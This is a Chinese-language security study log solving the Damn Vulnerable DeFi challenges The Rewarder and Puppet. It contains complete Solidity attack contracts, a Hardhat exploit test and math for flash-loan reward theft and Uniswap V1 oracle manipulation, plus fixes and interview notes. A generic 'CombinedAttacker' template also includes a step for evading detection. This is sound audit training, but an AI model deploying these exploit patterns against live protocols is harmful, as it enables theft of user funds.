SC Day 72
DVDF #5 The Rewarder + #8 Puppet — 闪电贷驱动的奖励操纵与预言机攻击
### 1. 闪电贷 — DeFi 攻击的通用放大器
2026-06-21
第三阶段:安全审计 (71-72)dvdfflashloanrewarderoraclepuppetdefi-security
日期: 2026-06-21 方向: Solidity / 安全审计 阶段: 第三阶段:安全审计 (71-72) 标签: #dvdf #flashloan #rewarder #oracle #puppet #defi-security
今日目标
| 类型 | 内容 |
|---|---|
| 学习 | DVDF #5 The Rewarder 闪电贷操纵奖励分配、#8 Puppet 预言机操纵 |
| 实操 | 编写完整攻击合约,理解闪电贷作为 DeFi 攻击放大器的本质 |
| 产出 | 两个挑战的完整解决方案 + 闪电贷攻击模式总结 |
核心概念
1. 闪电贷 — DeFi 攻击的通用放大器
闪电贷是 DeFi 世界最强大的攻击工具,因为它让攻击者可以零成本获得巨额资本:
| 特性 | 说明 |
|---|---|
| 零抵押 | 不需要任何担保即可借到数亿美元 |
| 原子性 | 借款和还款在同一交易中完成 |
| 低成本 | 通常只需 0.09% 手续费(Aave)或 0 费用(dYdX) |
| 放大器效应 | 将小资金攻击放大为鲸鱼级别的影响 |
闪电贷攻击链路模式
闪电贷借入巨额资金
↓
操纵某个状态(价格/投票权/奖励份额)
↓
利用被操纵的状态获利
↓
归还闪电贷 + 手续费
↓
攻击者保留利润
2. DVDF #5 The Rewarder — 奖励分配操纵
挑战背景
The Rewarder 是一个流动性挖矿奖励系统:
- 用户存入 DVT Token 到奖励池
- 每 5 天有一轮奖励分配(100 个 Reward Token)
- 奖励按存款比例分配
- 当前有 4 个用户,每人存了 100 DVT(共 400 DVT)
漏洞分析
核心问题在于奖励快照的时机——奖励分配基于调用 distributeRewards() 那一刻的存款余额,而不是整个周期的时间加权平均值:
// TheRewarderPool.sol - 简化版
contract TheRewarderPool {
IERC20 public immutable liquidityToken; // DVT
IERC20 public immutable rewardToken; // Reward Token
mapping(address => uint256) public deposits;
uint256 public totalDeposits;
uint256 public lastRewardTime;
uint256 public constant REWARDS_ROUND_DURATION = 5 days;
function deposit(uint256 amount) external {
// 存款时检查是否到了新的奖励周期
if (isNewRewardsRound()) {
_distributeRewards(); // 先分配奖励
}
deposits[msg.sender] += amount;
totalDeposits += amount;
liquidityToken.transferFrom(msg.sender, address(this), amount);
}
function _distributeRewards() private {
// 漏洞:基于当前余额快照分配!
// 攻击者可以在分配前瞬间存入大量资金
uint256 rewards = 100 ether; // 每轮 100 个奖励
for (each depositor) {
uint256 share = deposits[depositor] * rewards / totalDeposits;
rewardToken.transfer(depositor, share);
}
lastRewardTime = block.timestamp;
}
function withdraw(uint256 amount) external {
deposits[msg.sender] -= amount;
totalDeposits -= amount;
liquidityToken.transfer(msg.sender, amount);
}
}
攻击策略
1. 等待新的奖励周期开始
2. 从闪电贷池借入大量 DVT
3. 存入 DVT 到奖励池(触发奖励分配,攻击者份额巨大)
4. 立即取出 DVT
5. 归还闪电贷
6. 攻击者获得绝大部分奖励
完整攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IFlashLoanerPool {
function flashLoan(uint256 amount) external;
}
interface ITheRewarderPool {
function deposit(uint256 amount) external;
function withdraw(uint256 amount) external;
function distributeRewards() external returns (uint256);
}
contract RewarderAttacker {
IFlashLoanerPool public flashLoanPool;
ITheRewarderPool public rewarderPool;
IERC20 public liquidityToken; // DVT
IERC20 public rewardToken;
address public owner;
constructor(
address _flashLoanPool,
address _rewarderPool,
address _liquidityToken,
address _rewardToken
) {
flashLoanPool = IFlashLoanerPool(_flashLoanPool);
rewarderPool = ITheRewarderPool(_rewarderPool);
liquidityToken = IERC20(_liquidityToken);
rewardToken = IERC20(_rewardToken);
owner = msg.sender;
}
function attack(uint256 flashLoanAmount) external {
require(msg.sender == owner, "Not owner");
// 步骤 1:发起闪电贷
flashLoanPool.flashLoan(flashLoanAmount);
// 步骤 5:将奖励转给攻击者
uint256 rewardBalance = rewardToken.balanceOf(address(this));
rewardToken.transfer(owner, rewardBalance);
}
// 闪电贷回调函数
function receiveFlashLoan(uint256 amount) external {
require(msg.sender == address(flashLoanPool), "Only flash loan pool");
// 步骤 2:批准奖励池使用 DVT
liquidityToken.approve(address(rewarderPool), amount);
// 步骤 3:存入 DVT 到奖励池
// 这会触发 _distributeRewards()
// 因为我们存入了远超其他用户的金额
// 我们会获得绝大部分奖励
rewarderPool.deposit(amount);
// 步骤 4:立即取出
rewarderPool.withdraw(amount);
// 步骤 5:归还闪电贷
liquidityToken.transfer(address(flashLoanPool), amount);
}
}
攻击效果数学分析
假设闪电贷借入 1,000,000 DVT:
原始状态:
Alice: 100 DVT, Bob: 100 DVT, Charlie: 100 DVT, David: 100 DVT
总计: 400 DVT
攻击时状态:
Alice: 100, Bob: 100, Charlie: 100, David: 100, Attacker: 1,000,000
总计: 1,000,400 DVT
奖励分配(100 个 Reward Token):
Attacker: 1,000,000 / 1,000,400 * 100 ≈ 99.96 Reward Token
Alice: 100 / 1,000,400 * 100 ≈ 0.01 Reward Token
... 其他用户同样微不足道
攻击者获利: ~99.96 Reward Token(几乎全部奖励)
成本: 闪电贷手续费(可能为 0)
修复方案
// 修复1:时间加权平均余额(类似 Sushiswap MasterChef)
contract FixedRewarderPool {
struct UserInfo {
uint256 amount;
uint256 rewardDebt; // 已结算的奖励
}
uint256 public accRewardPerShare; // 每份累计奖励
uint256 public lastRewardTime;
function updatePool() internal {
if (totalDeposits == 0) return;
uint256 elapsed = block.timestamp - lastRewardTime;
uint256 reward = elapsed * rewardPerSecond;
accRewardPerShare += reward * 1e18 / totalDeposits;
lastRewardTime = block.timestamp;
}
function deposit(uint256 amount) external {
updatePool();
// 先结算之前的奖励
uint256 pending = user.amount * accRewardPerShare / 1e18 - user.rewardDebt;
if (pending > 0) rewardToken.transfer(msg.sender, pending);
user.amount += amount;
user.rewardDebt = user.amount * accRewardPerShare / 1e18;
// ...
}
}
// 修复2:最小锁定时间
function deposit(uint256 amount) external {
deposits[msg.sender] += amount;
depositTime[msg.sender] = block.timestamp;
// ...
}
function claimRewards() external {
require(
block.timestamp >= depositTime[msg.sender] + MIN_LOCK_PERIOD,
"Too early"
);
// ...
}
3. DVDF #8 Puppet — Uniswap V1 预言机操纵
挑战背景
Puppet 是一个借贷协议:
- 用户存入 ETH 作为抵押品
- 借出 DVT Token
- 抵押率要求:抵押品价值 ≥ 借款价值的 2 倍
- 关键漏洞:价格来自 Uniswap V1 池的即时价格
Uniswap V1 即时价格问题
// PuppetPool.sol - 使用 Uniswap V1 spot price 作为预言机
contract PuppetPool {
IUniswapV1Exchange public uniswapExchange;
// 计算借出 amount 个 DVT 需要多少 ETH 抵押
function calculateDepositRequired(uint256 amount) public view returns (uint256) {
// 从 Uniswap V1 获取即时价格
uint256 ethBalance = address(uniswapExchange).balance;
uint256 tokenBalance = dvt.balanceOf(address(uniswapExchange));
// 即时价格 = ethBalance / tokenBalance
// 抵押要求 = amount * ethBalance / tokenBalance * 2
return amount * ethBalance * 2 / tokenBalance;
}
function borrow(uint256 amount, address recipient) external payable {
uint256 depositRequired = calculateDepositRequired(amount);
require(msg.value >= depositRequired, "Not enough collateral");
dvt.transfer(recipient, amount);
}
}
漏洞本质
Uniswap V1 的即时价格(spot price)可以被大额交易直接操纵:
原始池状态:
ETH: 10, DVT: 10
价格: 1 ETH = 1 DVT
攻击者卖出大量 DVT 到池中:
ETH: 1, DVT: 100 (极端情况)
价格: 1 ETH = 100 DVT
现在 DVT 变得极其"便宜"
借出 100000 DVT 需要的 ETH 抵押:
100000 * 1 * 2 / 100 = 2000 ETH → 变成了极少量
完整攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IUniswapV1Exchange {
// 卖出 ETH 买入 Token
function ethToTokenSwapInput(
uint256 min_tokens,
uint256 deadline
) external payable returns (uint256);
// 卖出 Token 买入 ETH
function tokenToEthSwapInput(
uint256 tokens_sold,
uint256 min_eth,
uint256 deadline
) external returns (uint256);
}
interface IPuppetPool {
function borrow(uint256 amount, address recipient) external payable;
function calculateDepositRequired(uint256 amount) external view returns (uint256);
}
contract PuppetAttacker {
IUniswapV1Exchange public exchange;
IPuppetPool public lendingPool;
IERC20 public dvt;
address public owner;
constructor(
address _exchange,
address _lendingPool,
address _dvt
) {
exchange = IUniswapV1Exchange(_exchange);
lendingPool = IPuppetPool(_lendingPool);
dvt = IERC20(_dvt);
owner = msg.sender;
}
function attack(uint256 tokenAmount) external payable {
require(msg.sender == owner);
// 步骤 1:将所有 DVT 卖到 Uniswap,压低 DVT 价格
dvt.approve(address(exchange), tokenAmount);
exchange.tokenToEthSwapInput(
tokenAmount,
1, // min ETH out(不关心滑点)
block.timestamp + 1 // deadline
);
// 此时 Uniswap 池中:ETH 很少,DVT 很多
// DVT 价格被极度压低
// 步骤 2:以极低的抵押品借出所有 DVT
uint256 poolBalance = dvt.balanceOf(address(lendingPool));
uint256 depositRequired = lendingPool.calculateDepositRequired(poolBalance);
// depositRequired 现在非常小,因为 DVT "价格" 被压低了
lendingPool.borrow{value: depositRequired}(poolBalance, address(this));
// 步骤 3:将所有资产转给攻击者
dvt.transfer(owner, dvt.balanceOf(address(this)));
payable(owner).transfer(address(this).balance);
}
receive() external payable {}
}
攻击数学推演
初始条件:
Uniswap Pool: 10 ETH + 10 DVT
Puppet Pool: 100,000 DVT
攻击者: 1000 DVT + 25 ETH
步骤1 - 卖出 1000 DVT 到 Uniswap:
使用恒定乘积: x * y = k = 10 * 10 = 100
新 DVT 余额: 10 + 1000 = 1010
新 ETH 余额: 100 / 1010 ≈ 0.099 ETH
攻击者获得: 10 - 0.099 ≈ 9.9 ETH
步骤2 - 计算抵押品需求:
新价格: 0.099 ETH / 1010 DVT ≈ 0.000098 ETH/DVT
借出 100,000 DVT 需要:
100000 * 0.099 * 2 / 1010 ≈ 19.6 ETH
攻击者有: 25 + 9.9 = 34.9 ETH,绰绰有余!
步骤3 - 获利:
花费: ~19.6 ETH
获得: 100,000 DVT
净利润: 100,000 DVT - 1000 DVT(卖掉的)= 99,000 DVT + 剩余 ETH
Hardhat 测试脚本
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("Puppet Challenge", function () {
let deployer, player;
let token, exchange, lendingPool;
const UNISWAP_INITIAL_TOKEN_RESERVE = 10n * 10n**18n;
const UNISWAP_INITIAL_ETH_RESERVE = 10n * 10n**18n;
const PLAYER_INITIAL_TOKEN_BALANCE = 1000n * 10n**18n;
const PLAYER_INITIAL_ETH_BALANCE = 25n * 10n**18n;
const POOL_INITIAL_TOKEN_BALANCE = 100000n * 10n**18n;
before(async function () {
[deployer, player] = await ethers.getSigners();
// ... 部署合约(省略)
});
it("Exploit", async function () {
// 方法一:直接从 player EOA 攻击(不需要攻击合约)
// 步骤 1:批准 Uniswap 使用 DVT
await token.connect(player).approve(
exchange.address,
PLAYER_INITIAL_TOKEN_BALANCE
);
// 步骤 2:将所有 DVT 卖给 Uniswap
await exchange.connect(player).tokenToEthSwapInput(
PLAYER_INITIAL_TOKEN_BALANCE,
1, // min ETH
(await ethers.provider.getBlock("latest")).timestamp + 100
);
// 步骤 3:计算需要多少抵押品
const depositRequired = await lendingPool.calculateDepositRequired(
POOL_INITIAL_TOKEN_BALANCE
);
console.log("Deposit required:", ethers.utils.formatEther(depositRequired), "ETH");
// 步骤 4:以极低抵押品借出所有 DVT
await lendingPool.connect(player).borrow(
POOL_INITIAL_TOKEN_BALANCE,
player.address,
{ value: depositRequired }
);
});
after(async function () {
// 验证:player 获得了池中所有 DVT
expect(await token.balanceOf(lendingPool.address)).to.equal(0);
expect(await token.balanceOf(player.address)).to.be.gte(
POOL_INITIAL_TOKEN_BALANCE
);
});
});
4. 预言机安全设计模式对比
| 预言机方案 | 安全性 | 延迟 | 成本 | 适用场景 |
|---|---|---|---|---|
| Uniswap V1 Spot Price | 极低 | 0 | 0 | 不要用于任何场景 |
| Uniswap V2/V3 TWAP | 中等 | 取决于窗口期 | 低 | 辅助参考 |
| Chainlink | 高 | 心跳周期 | 中 | 主流 DeFi |
| Pyth Network | 高 | 亚秒级 | 低 | 需要高频更新 |
| 多预言机聚合 | 最高 | 中 | 高 | 大型协议 |
// 安全的预言机使用模式
contract SecureLending {
AggregatorV3Interface public priceFeed; // Chainlink
uint256 public constant MAX_PRICE_AGE = 1 hours;
uint256 public constant MAX_PRICE_DEVIATION = 500; // 5%
function getPrice() public view returns (uint256) {
(
uint80 roundId,
int256 price,
,
uint256 updatedAt,
uint80 answeredInRound
) = priceFeed.latestRoundData();
// 检查1:价格为正
require(price > 0, "Invalid price");
// 检查2:数据新鲜度
require(
block.timestamp - updatedAt <= MAX_PRICE_AGE,
"Stale price"
);
// 检查3:回合完整性
require(answeredInRound >= roundId, "Stale round");
return uint256(price);
}
// 进阶:多预言机交叉验证
function getPriceWithFallback() public view returns (uint256) {
uint256 chainlinkPrice = getChainlinkPrice();
uint256 twapPrice = getTwapPrice();
// 检查两个价格源偏差
uint256 deviation = chainlinkPrice > twapPrice
? (chainlinkPrice - twapPrice) * 10000 / chainlinkPrice
: (twapPrice - chainlinkPrice) * 10000 / twapPrice;
require(deviation <= MAX_PRICE_DEVIATION, "Price deviation too high");
return chainlinkPrice; // 以 Chainlink 为准
}
}
5. 闪电贷攻击模式总结
模式 1:奖励操纵(The Rewarder)
闪电贷 → 大量存款 → 领取不成比例的奖励 → 取款 → 还贷
模式 2:预言机操纵(Puppet)
闪电贷/大额交易 → 操纵 DEX 价格 → 利用错误价格获利 → 还贷
模式 3:治理操纵
闪电贷借入治理代币 → 发起/通过恶意提案 → 还贷
模式 4:清算操纵
闪电贷 → 操纵价格使仓位可清算 → 清算获利 → 还贷
模式 5:套利(合法)
闪电贷 → 在价格差的平台间套利 → 还贷 → 保留利润
代码实战
综合攻击合约:组合闪电贷 + 预言机操纵 + 奖励窃取
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title 综合闪电贷攻击示例(教学用途)
/// @notice 展示闪电贷如何被用于组合攻击
contract CombinedAttacker {
// 攻击步骤记录(用于教学分析)
event AttackStep(uint256 step, string description, uint256 value);
address public owner;
IERC20 public token;
IFlashLoanProvider public flashLoanProvider;
constructor(address _token, address _flashLoanProvider) {
owner = msg.sender;
token = IERC20(_token);
flashLoanProvider = IFlashLoanProvider(_flashLoanProvider);
}
/// @notice 执行攻击的主入口
function executeAttack() external {
require(msg.sender == owner, "Unauthorized");
// 记录攻击前状态
uint256 balanceBefore = token.balanceOf(address(this));
emit AttackStep(0, "Balance before attack", balanceBefore);
// 发起闪电贷
uint256 flashAmount = token.balanceOf(address(flashLoanProvider));
flashLoanProvider.flashLoan(address(this), flashAmount);
// 记录攻击后状态
uint256 balanceAfter = token.balanceOf(address(this));
emit AttackStep(99, "Balance after attack", balanceAfter);
require(balanceAfter > balanceBefore, "Attack not profitable");
// 转出利润
token.transfer(owner, balanceAfter);
}
/// @notice 闪电贷回调 - 攻击核心逻辑
function onFlashLoan(
address initiator,
uint256 amount,
uint256 fee
) external returns (bytes32) {
require(msg.sender == address(flashLoanProvider));
require(initiator == address(this));
// === 攻击核心 ===
// 步骤 1:操纵价格
_manipulatePrice(amount);
emit AttackStep(1, "Price manipulated", amount);
// 步骤 2:利用错误价格
_exploitMispricedAssets();
emit AttackStep(2, "Exploited mispriced assets", 0);
// 步骤 3:恢复价格(可选,减少被发现的概率)
_restorePrice();
emit AttackStep(3, "Price restored", 0);
// 归还闪电贷
token.approve(address(flashLoanProvider), amount + fee);
return keccak256("FlashLoan");
}
function _manipulatePrice(uint256 amount) internal {
// 将大量 token 卖到 DEX,压低价格
token.approve(address(dex), amount);
dex.swap(address(token), address(weth), amount, 0);
}
function _exploitMispricedAssets() internal {
// 以被压低的价格从借贷协议借出资产
// 或购买被低估的资产
}
function _restorePrice() internal {
// 买回 token,恢复价格
}
}
关键要点总结
| 要点 | 说明 |
|---|---|
| 闪电贷是放大器 | 让攻击者零成本获得巨额资本 |
| 即时价格不安全 | 任何基于 spot price 的系统都可被操纵 |
| 奖励快照需时间加权 | 基于瞬时余额分配的奖励必然被攻击 |
| TWAP 不完美但更好 | 时间加权平均可以增加操纵成本 |
| Chainlink 是标准方案 | 外部预言机不依赖链上 DEX 状态 |
| 多源交叉验证 | 大型协议应使用多个预言机源对比 |
常见误区
- "闪电贷本身是漏洞" — 错误!闪电贷只是工具,真正的漏洞是被操纵的系统(预言机、奖励分配等)
- "禁用闪电贷就安全了" — 错误!富有的鲸鱼不需要闪电贷也能操纵价格
- "Uniswap V3 TWAP 足够安全" — 部分正确。TWAP 窗口期越长越安全,但仍可能在低流动性池中被操纵
- "只要用 Chainlink 就万无一失" — 错误!Chainlink 也可能出现价格延迟、心跳过期等问题,需要正确处理边界情况
- "在 deposit 里加 require(msg.sender == tx.origin) 能防攻击" — 短视的修复。这只阻止了合约调用,但限制了账户抽象等正常使用场景
面试关联
面试题:如何防护闪电贷攻击?
30 秒回答: 闪电贷攻击的本质是利用单一交易内的状态操纵。防护的关键是让系统状态不可被单一交易操纵——使用外部预言机(Chainlink)而非 DEX spot price,用时间加权平均计算奖励份额,对关键操作引入最小锁定期。
2 分钟回答: 闪电贷攻击有三个常见模式:预言机操纵、奖励分配操纵和治理操纵。预言机层面,绝不使用 DEX spot price,应该使用 Chainlink 等外部预言机,并加上新鲜度检查和多源交叉验证。奖励分配层面,应使用 MasterChef 模式的时间加权累计奖励,而非基于瞬时余额快照。治理层面,在投票前要求代币锁定,引入投票延迟期。此外,关键操作可以引入最小锁定时间,虽然影响用户体验,但能有效阻止单交易攻击。最后,不要试图通过禁止合约调用来防护,因为这既可以被绕过,又影响了账户抽象等正常功能。
追问准备
- Q: Compound 是如何防护的? A: Compound 使用 Chainlink + 自己的 Open Price Feed 双重验证,加上价格锚定检查。
- Q: 闪电贷有合法用途吗? A: 当然有——无损套利、清算(维护系统健康)、债务再融资、一键杠杆等。
参考资源
| 资源 | 说明 |
|---|---|
| DVDF GitHub | 完整挑战代码 |
| Rekt Leaderboard | 历史攻击金额排行 |
| Chainlink 最佳实践 | 安全使用预言机 |
| Uniswap V3 TWAP | TWAP 原理 |
| SamcZsun 闪电贷分析 | 安全研究员博客 |
| DeFi Hack Analysis | DeFi 攻击案例库 |